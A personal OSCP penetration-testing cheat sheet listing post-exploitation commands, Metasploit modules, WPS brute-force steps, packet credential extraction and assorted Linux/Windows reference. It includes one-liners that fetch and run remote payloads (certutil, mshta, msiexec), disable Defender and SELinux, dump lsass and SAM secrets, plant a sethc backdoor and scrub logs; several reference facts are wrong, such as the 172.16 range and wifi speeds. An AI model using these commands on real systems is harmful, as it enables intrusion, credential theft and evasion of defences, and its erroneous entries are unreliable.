OSCP cheat-sheet

TABLE OF CONTENTS

1. Tips
2. **ICMP Message Type Description and Important Codes**
3. **Port Ranges**
4. **AD Tickets**
5. **Network Classes**
6. **Windows NT notation**
7. **wifi standards**
8. **WPS config methods**
9. **Useful Metasploit modules**
10. **Manpages**
11. **Google dorks**
12. **Workflow**
13. **Post-exploitation - windows**
14. **Post-exploitation - linux**
15. **Linux ENV variables**
16. **Windows registry**
17. **Linux filesystem**
18. **Terminal shortcuts**
19. **Linux commands**
20. **FD**
21. **Snippets**
22. **Manual hash extraction - NTLMv2**
23. **Manual hash extraction - WPA-PMKID**
24. **Manual hash extraction - IMAP4**
25. **Manual hash extraction - LDAP**
26. **Manual hash extraction - MSSQL**
27. **Manual hash extraction - STUN**
28. **Manual hash extraction - OSPF**
29. **Important Nikto command-line flags**
30. **Vim commands**
31. **Anatomy of /etc/passwd file entry**
32. **Anatomy of /etc/group file entry**
33. **Anatomy of file permission**
34. **Anatomy of /etc/shadow file entry**
35. **List of Spiderfoot modules**
36. **Golang tips**
37. **Bash tips**
38. **Important Rkhunter command-line flags**
39. **Important Nmap command-line flags**
40. **Nmap scripts**

1. TIPS

1) Domain controllers listen on port 389 (LDAP) - **nmap** script ldap-[rootdse|search]

2) Store payloads in C:\$recycle.bin

6) WPS has a 2-step pin verification: first 4, and then last 3 digits are checked (8th digit is the control sum of other 7).

a) M1-M3 - Diffie-Helman keys exchange

b) M4-M5 - Checks the first half (WSC NACK in output after M4 means that the first half is invalid)

c) M6-M7 - Checks the correctness of the last 3 digits + control sum (second half)

d) M8 - Access granted

7) In Windows, %LOGONSERVER% is the address of the DC

8) NTDS.dit is located under C:\Windows\NTDS\ntds.dit

9) Debian => AppArmor > SELinux

10) Kill monitor-interfering process with kill -9 <pid>

11) .hccapx files can be merged with cat command

12) If x is prezent instead of password hash in /etc/passwd entry, the hash is shadowed

13) **smbexec** does not drop a binary on host

14) AD passwords often match default wifi credentials

15) In AD, user accounts can be found in kerberos.CNameString (**wireshark**)

16) If **nmap** doesn't detect version string, capture the traffic and find corresponding stream.

17) Use --output <file> flag to save files retrieved via **curl**

18) Application-level IP filtering can be bypassed using X-Forwarder-For: <ip> header

19) NDA before scope outline

20) In **nmap**, --spoof-mac 0 will generate a random MAC

21) .exe files start with "MZ" characters

22) Replace C:\windows\system32\sethc.exe eith cmd.exe and hit shift 5 times

23) \_\_import\_\_("os").system(<cmd>) - python input code injection

24) Windows PS modules paths are under $Env:PSModulePath

25) Interactive shell = python3 -c 'import pty; pty.spawn("/bin/bash")'

26) When RSA doesn't accept the key, give it 400 permission

27) For chaining Windows payloads use exitfunc=none, and append to raw payload

28) Embedding raw shellcode into executable: $ msfvenom -f [elf|exe] -p - > bin.exe < payload.raw

29) aaa.edu.pl -> [Secondary Level Name].[generic Top Level Domain].[country code Top Level Domain]

30) SNMPv1 and SNMPv2c uses plaintext community strings

31) Source ports for **nmap** : 22, 53, 80, 443

32) Prepend IPv4 address with "::ffff:" for firewall evasion.

33) C: is under //127.0.0.1/c

**2. ICMP Message Type Description and Important Codes**

**0** —Echo Reply Answer to a Type 8 Echo Request

**3** —Destination Unreachable Error message indicating the host or network cannot

be reached. Codes:

**0** —Destination network unreachable

**1** —Destination host unreachable

**6** —Network unknown

**7** —Host unknown

**9** —Network administratively prohibited

**10** —Host administratively prohibited

**13** —Communication administratively prohibited

**4** —Source Quench A congestion control message

**5** —Redirect Sent when there are two or more gateways available

for the sender to use, and the best route available to

the destination is not the configured default gateway.

Codes:

**0** —Redirect datagram for the network

**1** —Redirect datagram for the host

**8** —ECHO Request A ping message, requesting an Echo reply

**11** —Time Exceeded The packet took too long to be routed to the

destination (Code 0 is TTL expired).

**3. PORT RANGES**

• Well-known: 0–1023

• Registered: 1024–49151

• Dynamic: 49152–65535

4. AD TICKETS

**SILVER = domain-name + domain-sid + nt-hash + user + spn**

**GOLDEN = domain-name + domain-sid + NT hash of krbtgt account + admin**

5. NETWORK CLASSES

10.0.0.0 -> 10.255.255.255

172.16.0.0 -> 127.16.255.255

192.168.1.0 -> 192.

168.1.255

6. WINDOWS NT NOTATION

* NT 5.1 -> XP
* NT 6.0 -> Vista
* NT 6.1 -> 7
* NT 6.2 -> 8
* NT 6.3 -> 8.1
* NT 10 -> 10

7. WIFI STANDARDS

\* 802.11a - 5 GHz, 20 Mb/s

\* 802.11b - 2.4 GHz, 6 Mb/s

\* 802.11g - 2.4 GHz, 25 Mb/s

\* 802.11n - 2.4/5 GHz, 600 Mb/s

- EU - 13, USA - 11, JPN - 14 (number of channels)

- 2,4GHz uses approx. 5 channels constantly

*Note: speed is given in netto*

**8. WPS CONFIG METHODS**

USB = USB method (flash drive transfer)

ETHER = Ethernet

LAB = Label

DISP = Display (fixed pin, label on device)

EXTNFC = External NFC

INTNFC = Internal NFC

NFCINTF = NFC Interface

PBC = Push Button

KPAD = Keypad on device

LOCKED = AP setup is locked

**9. USEFUL METASPLOIT MODULES**

* auxiliary/scanner/ftp/anonymous
* auxiliary/server/fakedns
* auxiliary/payload\_sender
* auxiliary/scanner/ipmi/ipmi\_dumphashes
* auxiliary/server/capture...
* auxiliary/scanner/snmp/snmp\_**enum**[**users**|**shares**]
* auxiliary/scanner/postgres/postgres\_hashdump
* suxiliary/scanner/ssh/enum\_users
* auxiliary/admin/postgres/postgres\_readfile
* auxiliary/gather/corpwatch\_lookup**[\_name|\_id]**
* auxiliary/gather/shodan\_honeyscore
* auxiliary/gather/impersonate\_ssl
* post/windows/manage/reflective\_dll\_injection
* post/linux/manage/pseudo\_shell
* post/windows/gather/enum\_applications
* post/**multi**/manage/multi\_post
* post/**multi**/manage/shell\_to\_meterpreter
* post/**multi**/manage/upload\_exec
* post/linux/gather/hashdump
* post/**multi**/gather/multi\_command
* post/multi/recon/local\_exploit\_suggester
* post/windows/manage/sshkey\_persistence
* post/windows/gather/enum\_patches
* post/windows/gather/credentials/\*
* post/linux/gather/enum\_configs
* post/windows/gather/phish\_windows\_credentials
* post/**multi**/manage/autoroute
* exploit/windows/misc/hta\_server
* exploit/windows/fileformat/adobe\_pdf\_embedded\_exe
* exploit/linux/postgres/postgres\_payload
* exploit/multi/script/web\_delivery
* exploit/multi/fileformat/**\*macro\***

10. **MANPAGES**

1 - Executable programs or shell commands

2 - System calls

3 - Library calls

4 - Special files

5 - File formats and conventions

6 - Games

7 - Overviews, conventions, and miscellaneous

8 - Super user and system administration commands

9 - Kernel routines

11. GOOGLE DORKS

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Dork | Description | Google | DuckDuckGo | Yahoo | Bing |
| cache:*[url]* | Shows the version of the web page from the search engine’s cache. |  |  |  |  |
| related:[url] | Finds web pages that are similar to the  specified web page. |  |  |  |  |
| info:[url] | Presents some information that Google has about a web page, including similar pages, the cached version of the page, and sites linking to the page. |  |  |  |  |
| site:[url] | Finds pages only within a particular domain and all its subdomains. |  |  |  |  |
| intitle:[text] or allintitle:[text] | Finds pages that include a specific keyword as part of the indexed title tag. *You must include a space between the colon and the query for the operator to work in Bing.* |  |  |  |  |
| inurl:[text] or allinurl:[text] | Finds pages that include a specific keyword as part of their indexed URLs. |  |  |  |  |
| meta:[text] | Finds pages that contain the specific keyword in the meta tags. |  |  |  |  |
| filetype:[file extension] | Searches for specific file types. |  |  |  |  |
| intext:[text], allintext:[text], inbody:[text] | Searches text of page. *For Bing and Yahoo the query is inbody:[text]. For DuckDuckGo the query is intext:[text]. For Google either intext:[text] or allintext:[text] can be used.* |  |  |  |  |
| inanchor:[text] | Search link anchor text |  |  |  |  |
| location:[iso code] or loc:[iso code]  region:[region code] | Search for specific region. *For Bing use location:[iso code] or loc:[iso code] and for DuckDuckGo use region:[region code].* |  |  |  |  |
| contains:[text] | Identifies sites that contain links to filetypes specified (i.e. contains:pdf) |  |  |  |  |
| altloc:[iso code] | Searches for location in addition to one specified by language of site (i.e. pt-us or en-us) |  |  |  |  |
| domain:[url] | Wider than the site: operator, locates any subdomain containing the “suffix” of the main website's url |  |  |  |  |
| feed:[feed type, i.e. rss] | Find RSS feed related to search term |  |  |  |  |
| hasfeed:[url] | Finds webpages that contain both the term or terms for which you are querying and one or more RSS or Atom feeds. |  |  |  |  |
| imagesize:[digit, i.e. 600] | Constrains the size of returned images. |  |  |  |  |
| ip:[ip address] | Find sites hosted by a specific ip address |  |  |  |  |
| keyword:[text] | Metaoperator; that is, an operator that is used with other operators. Takes a simple list as a parameter. All the elements in the list are searched as and/or pairs together. *keyword:(intitle inbody)software.*This example is equivalent to intitle:software OR inbody:software. |  |  |  |  |
| language:[language code] | Returns websites that match the search term in a specified language |  |  |  |  |
| book:[title] | Searches for book titles related to keywords |  |  |  |  |
| maps:[location] | Searches for maps related to keywords |  |  |  |  |
| linkfromdomain:[url] | Shows websites that link to the specified url (with errors) |  |  |  |  |

12. WORKFLOW

1) Sniff and dump local traffic with **yas,**  investigate capture files with **netcreds** and **pcredz**

2) Obtain active hosts with **netdiscover,** and write them to a file

3) Try default vendor credentials

4) Scan WPS using **wash(monitor) and airodump-ng(monitor)**

**[x]** If packets with bad FCS are in output, use -F

[\*] Put interesting WPS-enabled BSSIDs in a single file

5) Try default WPS pins

6) Bruteforce AP with **reaver(monitor)**

[\*] Required flags: -i <monitor> -b <AP\_MAC>

[\*] Spoof already changed mac addresss with --mac

**[x]** If AP seems to need it, force EAP termination with--eap-terminate

**[x]** When WPS becomes locked during bruteforce attack, use -L to ignore AP lock,

or try resetting it with **mdk3\_reset.sh**

7) Monitor APs and capture handshakes

[\*] With **airodump-ng**, list all local networks, then run again with filtersto capture handshakes

[\*] TODO: aireplay-ng

8) Generate customized passwords list with **maskproc** and **cewl**

9) Crack hashes with **hashcat**

[\*] Convert .cap with **cap2hccapx**

**[x]** 'line length exception' - hash does not match chosen profile

[\*] Test overclocking with **md5stress**

10) Scan domains and web applications

[\*] Zone transfer and DNS info with **dnsenum**

[\*] Parameter enumeration and info - **arjun**

[\*] Check for XSS manually using **shuriken** (d/xss\_payloads)

[\*] Check for directory traversal with **slash** (--string <s> tests a defined value inside the URL)

11) Enumerate SMB

[\*] **smbmap** for permission enumeration

12) Perform recon on codebase:

[\*] Scan github profiles with **github-autopwn**

[\*] Static analysis with **vulny** and **hardcodes**

[\*] .apk string analysis with **diggy**

[\*] **wpbullet** for WP themes and PHP

[\*] **capa** for enumeration of exec files capabilities

13) Report generation

[\*] Templating on **vulnrepo.com**

14) Impact measurement

[\*] **risk\_calc**

15) Exploit finding

[\*] **wes** for Windows

[\*] **les** for Linux

16) Code obfuscation and stagers

[\*] **powershell\_cmd\_stager**

[\*] **bashfuscator**

16) OSINT

[\*] **sf** for everything (+ **sf\_parser**)

16) Stealthing

[\*] **ghost**

[\*] **macchanger** and **getmac**

17) Post-exploitation

[\*] **hawkeye** for Linux directory enumeration

[\*] **unshadow** for /etc/passwd and /etc/shadow

[\*] **pwncat**

[\*] **pspy**  for Linux process monitoring

[\*] **peas** for privesc on all platforms

18) SNMP exploitation

[\*] Bruteforce community string with **medusa**

[\*] Enumerate with **snmpcheck**

**13. POST COMMANDS - WINDOWS CMD**

interface ip set dns "Local Area Connection" static <dns\_ip>

Change current DNS server

whoami /priv

List current permissions

dir /A

Show hidden files

type <file>

Print a file

net user <username> <password> /ADD [/DOMAIN]

Add user account

wmic useraccount where name='currentname' rename newname

Rename an account

Set-MpPreference -DisableRealtimeMonitoring $true

Disable real-time threat detection (Defender)

New-PSdrive -Name <share\_name> -PSProvider "Filesystem" -Root "\\<ip>\<share\_name>"

net use z: "\\<ip>\<share\_name>"

Mount a remote SMB share

sc [stop|start|query] WinDefend

Windows Defender service operations

net use /dom

Enumerate usernames

query user

List other logged-in users

net session

Check if current context has administrative privileges

certutil.exe -urlcache -split -f <url> <local\_file\_to\_save> & <local\_file\_to\_save>

Execute remote PE using certutil

mshta.exe <url>

Execute a remote .hta

msiexec /q /i <url>

Execute remote .msi package (for example a msfvenom payload - "-f msi")

wmic os get architecture

echo %PROCESSOR\_ARCHITECTURE%

[Environment]::Is64BitProcess

Get host's architecture

setspn -L <user/domain>

List Service Principal Names

gpresult \Z

Show information about group policies

tasklist /fi "imagename eq lsass.exe"

procdump -accepteula -ma <lsass\_pid> lsass.dmp

Dump a lsass process using lsass.exe PID to evade Defender

**14. POST COMMANDS - LINUX**

echo SELINUX=disabled >/etc/selinux/config

Disable SELinux protection

sudo mount -t cifs //<ip>/<share\_name> <local\_mnt\_path>

Mount a remote SMB share

chmod u+s <binary>

Add SUID bit to a file

export histsize=0

Do not store commands history

shred -zu <file>

Securly remove a file

grep -v <entry-to-remove> <logfile> > /tmp/a ; mv /tmp/a <logfile> ; rm -f /tmp/a

Remove entry from a logfile

**15. LINUX ENVIRONMENT VARIABLES**

$HISTFILE

**Shows the size of current cache of commands history**

**16. WINDOWS REGISTRY ENTRIES**

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware **[DWORD\_32]**

**1** - Disable Defender on startup

**0** - Enable Defender on startup

HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection **[DWORD\_32]**

**0** - Tamper Protection off

**1** - Tamper Protection on

**2** - Tamper Protection on (Enterprise & Education) off (10 Enterprise)

HKLM\Software\Microsoft\Windows\CurrentVersion\Run[Once] **[STRING]**

Login autorun keys. RunOnce is deleted just before command run.

Prefix with \* in order to run in Safe Mode.

**HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System****\LocalAccountTokenFilterPolicy**

**0** - Only RID 500 administrator can perform tasks without UAC

1 - All members of amdinistratot group can perform tasks without UAC

**HKLM\System\CurrentControlSet\Control\Lsa**

LSA prevents reading memory and code injection

**0** - LSA disabled

**1** - LSA enabled

Computer/HKEY\_CLASSES\_ROOT

This hive holds information about default openers of specific file extensions

HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

Powershell Logging

HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon

HKCU\Software\ORL\WinVNC3\Password

HKLM\SYSTEM\Current\ControlSet\Services\SNMP

HKCU\Software\SimonTatham\PuTTY\Sessions

17. LINUX FILESYSTEM

/proc/cpuinfo - information about each core

**/var/log - log files**

**/var/log/auth.log - failed and successful login attempts**

**/etc/resolv.conf - DNS server information**

**/sys/kernel/security/lsm - security features order**

/etc/sysctl.conf - sysctl preload file, includes settings of port forwarding

**/proc/sys/kernel/randomize\_va\_space - ASLR configuration**

/proc/sys/net/ipv4/ip\_forward - whether or not forwarding is allowed

/etc/profiles - initial source file for the sh

**/etc/services - list of services and their ports**

**/etc/group - information about user groups**

**/etc/passwd + /etc/shadow - password data**

18. TERMINAL SHORTCUTS

ctrl + p

Previous command

ctrl + xx

Toggle bte current cursor position and start of line

alt + d

Delete word after cursor

alt + t

Swap current word with previous

ctrl + \_

Undo

ctrl + o

Execute command found in history

ctrl + g

Escape history searching mode

alt + .

Insert last argument of previous command

!\*

Insert all arguments from previous command

19. LINUX COMMANDS

dpkg -i <package.deb>

Extract a Debian package

printenv

Show environment variables

useradd -D

Show default values used for defining new user account

userdel -r <username>

Delete a user

netstat -anput

Show detailed sockets state

usermod -D <home\_dir> -a -G <group\_id> <username>

Add user to the specific group and set a custom $HOME dir

usermod -l <new\_username> <username>

Modifu name of the account

chown owner[.group] <file>

Manipulate the owner of the resource

chmod [--preserve-root] [u|g|o|a] [+|-|=] [X|s|t|u|g|o] <target>

u - the user

g - he group

o - others (everyone else)

a - all of the above

X - assigns execute permissions only if the object is a directory or if it already had execute permissions.

s - sets the UID or GID on execution

t - saves program text.

u - sets the permissions to the owner’s permissions.

g - sets the permissions to the group’s permissions.

o - sets the permissions to the other’s permissions.

Change permissions

chpasswd < passwords\_file.txt

Change passwords for multiple users

passwords\_file.txt format: <user\_id>:<password>

chsh -s <shell\_name> <user>

Change default login shell for a user

env -C <dir> <command>

Execute command under specific directory

PATH=$PATH:<path>

Expand $PATH variable

shuf -n 1 -e <dir>/\*

Get a random file from directory

coproc <job\_name> { <cmd>; }

Run command in coprocessing

type -a <command>

Show the type of the command

last reboot

Show reboots history

free -h

Show information about RAM and SWAP usage

df -h

Show information about current disk usage

last

Show last logins

lsmod

List kernel modules

mount -o ro,rw

Mount drive with Read-Only or Write-Only attributes

mkdir -p <dir\_1>/<dir\_2>

Create directories and add non-existent automatically

bash -r

Start new shell in dir-restricted mode

ls -d

List only directories

cp [-n|-i] <src> <dst>

[Do not overwrite | ask for confirmation]

echo $$

Show PID of current shell

disown -h %<job\_id>

Detach process from terminal shell

pkill -9 <part\_of\_name>

Kill matching processes

dd bs=1k if=imagefile.nrg of=imagefile.iso skip=300

Convert nero to .iso

ip addr show

Show all interfaces and their corresponding addresses

ip addr flush dev <iface>

Remove all ip addresses from interface

netstat -an|grep -i listen

Show all listening ports

sudo -u <user> <command>

Run command as another user

cal -<n>

Display <n> months calendar

aa-[enabled|status]

Check if AppArmor is enabled

snap find <name>

Find snap packages

snap refresh <package>

Update a package

dig +short nsdpk <domain>

List DNS servers for the domain

cp -a src/. dst/

Recursively copy contents of src to dst (with symlinks)

dig axfr @<dns\_server> <target>

Perform zone transfer

echo <string> | cut -d"<delimiter>" -f<N>

Get N-th element of delimiter-split string

psql -h <host> -U <user> -p <port>

Connect to PostgreSQL instance

shuf -n 1 <file>

Get a random line from file

lsb\_release -a

Check release info of Ubuntu system

!<x>

Run last command starting with <x>

pg\_dump --host=192.168.100.11 --username=postgres --password

--dbname=template1 --table='users' -f output\_pgdump

Dump contents of Postgres database

go run <file.go>

Run a go file without leaving a binary

mktemp -d

Generate and print a random, hidden directory under /tmp

md5sum [-b] <file>

Get MD5 of a [-binary] file

hostname -i

Get local hostname

seq <x> <y>

Generate new-line delimited, inclusive sequence

lscpu

Get processor info

set sh\_word\_split

Allow newline splitting of files piped to terminal

apt-cache pkgnames

List all available packages

apt-cache show <package>

Show information about a package

apt-get [remove|purge] <package>

Remove package (leave config files) or fully purge package

apt-get clean

Remove downloaded *.deb* packages

uptime -p

Get current uptime

tshark -r old.pcapng -w new.pcap -F libpcap

Convert .pcapng to .pcap

ngrep -I file.pcap -q -i ‘[&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]\*)'

Extract raw passwords from .pcap

<command> | tee [-a] <file>

Execute command and write it's output to a file

mount -t smbfs //<addr>/<share> <local\_share>

Mount a SMB share locally

ifconfig <iface> [promisc|-promisc]

Enable/disable promiscous mode of wireless card

shuf -n <n> <filename>

Get <n> random lines from file

cat <file>|sort|uniq -u

Print only unique lines from file

ssh -i <private\_key> [...]

Login to SSH using private key

sed -i '/<pattern>/d' ./<file>

Remove lines that contain <pattern> and write back

sed -i 1,<n>d <file>

Remove first <n> lines from file

echo <string>|xargs

Remove whitespace from string

sshpass -p <password> <ssh\_command...>

Login to SSH using plaintext password

ssh-keygen -f <outfile> -b <bits> -t [rsa|dsa|ecdsa|ed25519]

Generate a public ssh key

ssh-copy-id -i <key.pub> user@host

Copy a public key to remote server

openssl [md5|sha1|sha256] <file>

Generate a checksum for a file

openssl s\_client -connect example.com:443 -ssl3

Check if SSLv3 is enabled /

Connect to a SSL service

openssl rsa -in <keyfile.key> -noout -modulus | openssl md5 **(a)**

openssl req -in <csrfile.csr> -noout -modulus | openssl md5 **(b)**

openssl x509 -in <pemfile.pem> -noout -modulus | openssl md5 **(c)**

Check control sum of a) private key b) Certificate 3Signing Request c) SSL certificate

If this sum is equal for all of tested files:

- .csr was generated using private key in .key and SSL cert in .pem

- .pem matches .key

openssl genrsa -des3 -out myCA.key 2048  
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.pem Root certificate generation (CA)

openssl genrsa -des3 -out mojadomena.key 2048

Generate password-protected private key

openssl genrsa -out mojadomena.key 2048

Generate standard private key

openssl x509 -x509toreq -in <domain.pem> -out <out.csr> -signkey <keyfile.key>

Generate CSR from existing SSL certificate

openssl rsa -inform PEM -in mojadomena.pem -outform DER -out mojadomena.der

PEM->DEP private key conversion

openssl rsa -inform DER -in mojadomena.der -outform PEM -out mojadomena.pem

DER -> PEM provate key conversion

openssl s\_client -CAfile root\_ca.cer -connect www.moja-domena.pl:443

Check SSL certificate of remote server

openssl rsa -in mojadomena.key -out mojadomena.bezhasla.key

Delete password-protection from private key

nc -l -p <port> < "<file>"

Serve a file on specified port

iptables -t nat -A POSTROUTING -d <dst\_ip> -p tcp -j SNAT --to <src\_ip>:<src\_port>

Change source ip/port to a specified host

iptables -t nat -A POSTROUTING -i <iface> -p tcp

**20. FD COMMAND EXECUTION ("-x" flag)**

{} - Full path

{.} - Full path without extension

{/} - Base name

{/.} - Base name without extension

{//} - Parent directory

21. SNIPPETS

SCP file and dir transfer

scp <source\_file> <username>@<ip>:<destination>

scp -r <source\_dir> <username>@<ip>:<destination>

Secrets extraction

reg.exe save hklm/sam <sam\_save>

reg.exe save hklm/system <system\_save>

./secretsdump -sam <sam\_save> -system <system\_save> LOCAL

./secretsdump -ntds <ntds\_file> -system <system\_save> LOCAL

SWAP file creation

s fallocate -l 1G /swap

s chmod 600 /swap

s mkswap /swap

s swapon /swap or sudo dd if=/dev/zero of=/swap\_file bs=1024 count=1048576

echo "/<swap\_file> swap swap defaults 0 0" >> /etc/fstab

s swapon --show

s sysctl vm.swappiness=20

echo "vm.swappiness=20" >> /etc/sysctl.conf

Persistent, bootable Arch Linux on USB

mkfs.ext4 /dev/sdc1

mount /dev/sdc1 /mnt

pacstrap /mnt base linux linux-firmware

genfstab -U /mnt >> /mnt/etc/fstab

***CHROOT***

pacman -Sy grub

grub-install --target=i386-pc /dev/sdc

grub-mkconfig -o /boot/grub/grub.cfg

Remove invalid PGP

pacman -Sy archlinux-keyring

pacman --list-keys

pacman-key --delete <key>

pacman-key --refresh-keys

Netcat send file

nc -lvnp <port> < <file>

nc -v <ip> <port> > <file>

Enumerate Postgres database

\l\du\dtSELECT \* FROM users;SELECT usename, passwd FROM pg\_shadow;

**22. MANUAL HASH EXTRACTION - NTLMv2**

**>>** [NTLMSSP\_AUTH packet] (\ ntlmssp)

\* SMB2

\* Session Setup Request

\* Security blob

\* GSS

\*NTLM SSP -> **username, domain**

\* NTLM response

\* **NTLMv2 response (stripped)** -> **NtProofStr**

>>[Session Setup Response packet] (\ ntlmssp.ntlmserverchallenge)

\* **NTLM server challenge**

Crack format (*m: 5600*) => **username::domain:challenge:NtProofString:response**

**23. MANUAL HASH EXTRACTION -** WPA-PMKID

>> [EAPOL] (\eapol)

\* 802.1X Authentication

\* WPA Key Data

\* Tag -> **RSN PMKID**

Crack format (m: *16800*) => **pmkid\*ap\_mac\*station\_mac\*essid**

**24. MANUAL HASH EXTRACTION - IMAP4**

>> IMAP

\* Internet Message Access Protocol

\* Line -> **password**

**25. MANUAL HASH EXTRACTION - LDAP**

>>LDAP

\*LDAPMessagd BindRequest(...

\* protocolOp

\* bindRequest

\* name -> **username**

\* authentication -> **password**

**26. MANUAL HASH EXTRACTION** - MSSQL

>> TDS

\* TDS 4 Login Packet

\* **Username**, **Password**

**27. MANUAL HASH EXTRACTION** - STUN

>> Binding Request user

\*Session Traversal Utilities

\* Attributes -> **Username**, **Password**

**28. MANUAL HASH EXTRACTION** - OSPF

>> Hello Packet

\*Open Shortest Path First

\* OSPF Header -> **username**, **password**

29. IMPORTANT NIKTO COMMAND-LINE FLAGS

**-Display <modes>**

1 - show redirects

2 - show cookies received

3 - show all "200" responses

4 - show urls that require authentication

**-evasion <evasion\_options>**

1 - random URI encoding

3 - premature URL ending

4 - prepend long random string

**-Format [xml|msf+|txt]**

**-nolookup**

**-root <base\_path\_to\_prepend>**

**-port <port>**

**-output <out\_file>** // "." for auto name

**-Tuning <options>**

1 - Interesting files

2 - misconfiguration

3 - information disclosure

4 - injections

5 - remote file retrieval

6 - DOS

8 - command execution

9 - SQL injection

0 - file upload

a - authentication bypass

b - software identification

c - remote source inclusion

x - reverse select (use all except specified)

**-Plugins <plugins>**

outdated - check for non-latest server version

put\_del\_test - check if file manipulation using PUT and DEL is enabled

content-search - check for interesting strings in responses

cookies - search for IP addresses inside response cookies

httpoptions - enumerate options of the server

msgs - check server version against known issues

30. VIM COMMANDS

:%!zsh

Replace selected buffer with command output of selected buffer

:read !<cmd>

Paste output of <cmd>

:g/<pattern>/d

Remove all lines that match the pattern

:v/./d

Remove empty lines

:g/^#/d

Remove comment lines

ddp

Swap two lines

:sort u

Remove duplicate lines

~

Change case of selected text

%

Jump to the matching brace

D

Delete until end of the line

R

Replace many characters

H/M/L

Move to top/middle/bottom of the screen

yy

Yank the current lin/fue

J

Join lines

:set tabstop=4

:set expandtab

:retab

Fix indentation

31. ANATOMY OF /ETC/PASSWD FILE ENTRY

**root:!:0:0::/:/usr/bin/ksh**

**invscout:\*:200:1::/var/adm/invscout:/usr/bin/ksh**

\* USERNAME

\* PASSWORD FIELD: ! - user with a password, \* - user without a password

\* UID

\* GID

\* USER'S ROOT DIRECTORY

32. ANATOMY OF /ETC/GROUP FILE ENTRY

**root:x:0:root**

\* GROUP NAME

\* GROUP PASSWORD

\* GID

\* ACCOUNTS THAT BELONG TO THE GROUP

33. ANATOMY OF FILE PERMISSION

**[l] [rwx] [rwx] [rwx] 1 john john**

\* TYPE OF THE OBJECT

- = file

d = dir

l = link

c = character device

b = block device

n = network device

\* ACCESS PERMISSION TRIPLETS

n. 1 - owner of the object

n. 2 - group that owns the object

n. 3 - everyone else

34. ANATOMY OF /ETC/SHADOW FILE ENTRY

**rich:$1$.FfcK0ns$f1UgiyHQ25wrB/hykCn020:11627:0:99999:7:::**

\* USERNAME

\* ALGORITHM USED: $1$ - MD5, $2a$ or $2y$ - Blowfish, $5$ - SHA256, $6$ - SHA512

\* ENCRYPTED PASSWORD

35. LIST OF SPIDERFOOT MODULES

|  |  |  |  |
| --- | --- | --- | --- |
| NAME | DESCRIPTION | ***CONSUMES*** | ***PRODUCES*** |
| sfp\_dnsresolve | Basic DNS resolution | **CO\_HOSTED\_SITE**  **AFFILIATE\_INTERNET\_NAME**  **RAW\_FILE\_METADATA**  **DOMAIN\_NAME\_PARENT** |  |
| sfp\_intfiles | Search for interesting files | **LINKED\_URL\_INTERNAL** | **INTERESTING\_FILE** |
| sfp\_filemeta | Extract information about found files | **LINKED\_UTL\_INTERNAL**  **INTERESTING\_FILE** | **RAW\_FILE\_META\_DATA**  **SOFTWARE\_USED** |
| sfp\_spider | Web data harvester | **LINKED\_URL\_INTERNAL**  **INTERNET\_NAME** | **WEBSERVER\_HTTPHEADERS**  **HTTP\_CODE**  **LINKED\_URL\_INTERNAL**  **LINKED\_URL\_EXTERNAL**  **TARGET\_WEB\_CONTENT** |
| sfp\_urlscan | Scan target using urlinfo.io | **INTERNET\_NAME** | **GEOINFO**  **LINKED\_URL\_INTERNAL**  **DOMAIN\_NAME**  **INTERNET\_NAME**  **WEBSERVER\_BANNER** |
| sfp\_names | Find standard names | **TARGET\_WEB\_CONTENT**  **EMAILADDR**  **RAW\_FILE\_META\_DATA**  **DOMAIN\_WHOIS**  **NETBLOCK\_WHOIS** | **HUMAN\_NAME** |
| sfp\_phone | Extract phone numbers | **TARGET\_WEB\_CONTENT**  **DOMAIN\_WHOIS**  **NETBLOCK\_WHOIS**  **PHONE\_NUMBER** | **PHONE\_NUMBER**  **PROVIDER\_TELCO** |
| sfp\_pwned | Check if email address was compromised | **EMAILADDR** | **EMAILADDR\_COMPROMISED** |
| sfp\_subdomain\_takeover | Check if a domain is vulnerable to a takeover vector | **AFFILIATE\_INTERNET\_NAME**  **[\_UNRESOLVED]** | **AFFILIATE\_INTERNET\_NAME\_HIJACKABLE** |
| sfp\_accounts | Find associated accounts | **EMAILADDR**  **DOMAIN\_NAME**  **HUMAN\_NAME**  **USERNAME** | **USERNAME**  **ACCOUNT\_EXTERNAL\_OWNED** |
| sfp\_base64 | Decode found base64 data | **LINKED\_URL\_INTERNAL**  **TARGET\_WEB\_CONTENT** | **BASE64\_DATA** |
| sfp\_binstring | Identify strings in binary content | **LINKED\_URL\_INTERNAL** | **RAW\_FILE\_META\_DATA** |
| sfp\_cookie | Extract cookies from HTTP headers | **SERVER\_HTTPHEADERS** | **TARGET\_WEB\_COOKIE** |
| sfp\_webserver | Analyze the server's banners | **WEBSERVER\_HTTPHEADERS** | **WEBSERVER\_BANNER**  **WEBSERVER\_TECHNOLOGY**  **LINKED\_URL\_INTERNAL**  **LINKED\_URL\_EXTERNAL** |
| sfp\_uceprotect | Query UCEPROTECT to check for malicious endpoints | **IP\_ADDRESS**  **AFFILIATE\_IPADDR**  **NETBLOCK\_OWNER**  **NETBLOCK\_MEMBER** | **BLACKLISTED\_IPADDR**  **BLACKLISTED\_AFFILIATE\_IPADDR**  **BLACKLISTED\_SUBNET** |
| sfp\_tool\_whatweb | Identify software used on a website | **INTERNET\_NAME** | **RAW\_RIR\_DATA**  **WEBSERVER\_BANNER WEBSERVER\_TECHNOLOGY** |
| sfp\_tool\_cmseek | Identify Content Management System | **INTERNET\_NAME** | **WEBSERVER\_TECHNOLOGY** |
| sfp\_strangeheaders | Search for unusual HTTP headers | **WEBSERVER\_HTTPHEADERS** | **WEBSERVER\_STRANGEHEADER** |

**36. GOLANG TIPS**

x := 1

x = 1

Change variable contents

strconv.Atoi("integer")

Converts integer inside a string into standard integer

**["path/filepath"]** filepath.Join(<x1>, <x2>, ...)

Returns formatted, platform-specific path.

c := make(chan os.Signal, 1)

signal.Notify(c, os.Interrupt)

go func(){

for sig := range c {

// sig is a ^C, handle it

}

}()

Catch keyboard interrupt

**37. BASH TIPS**

${<string>//<x>/<y>}

Substitute all occurrences of x with y

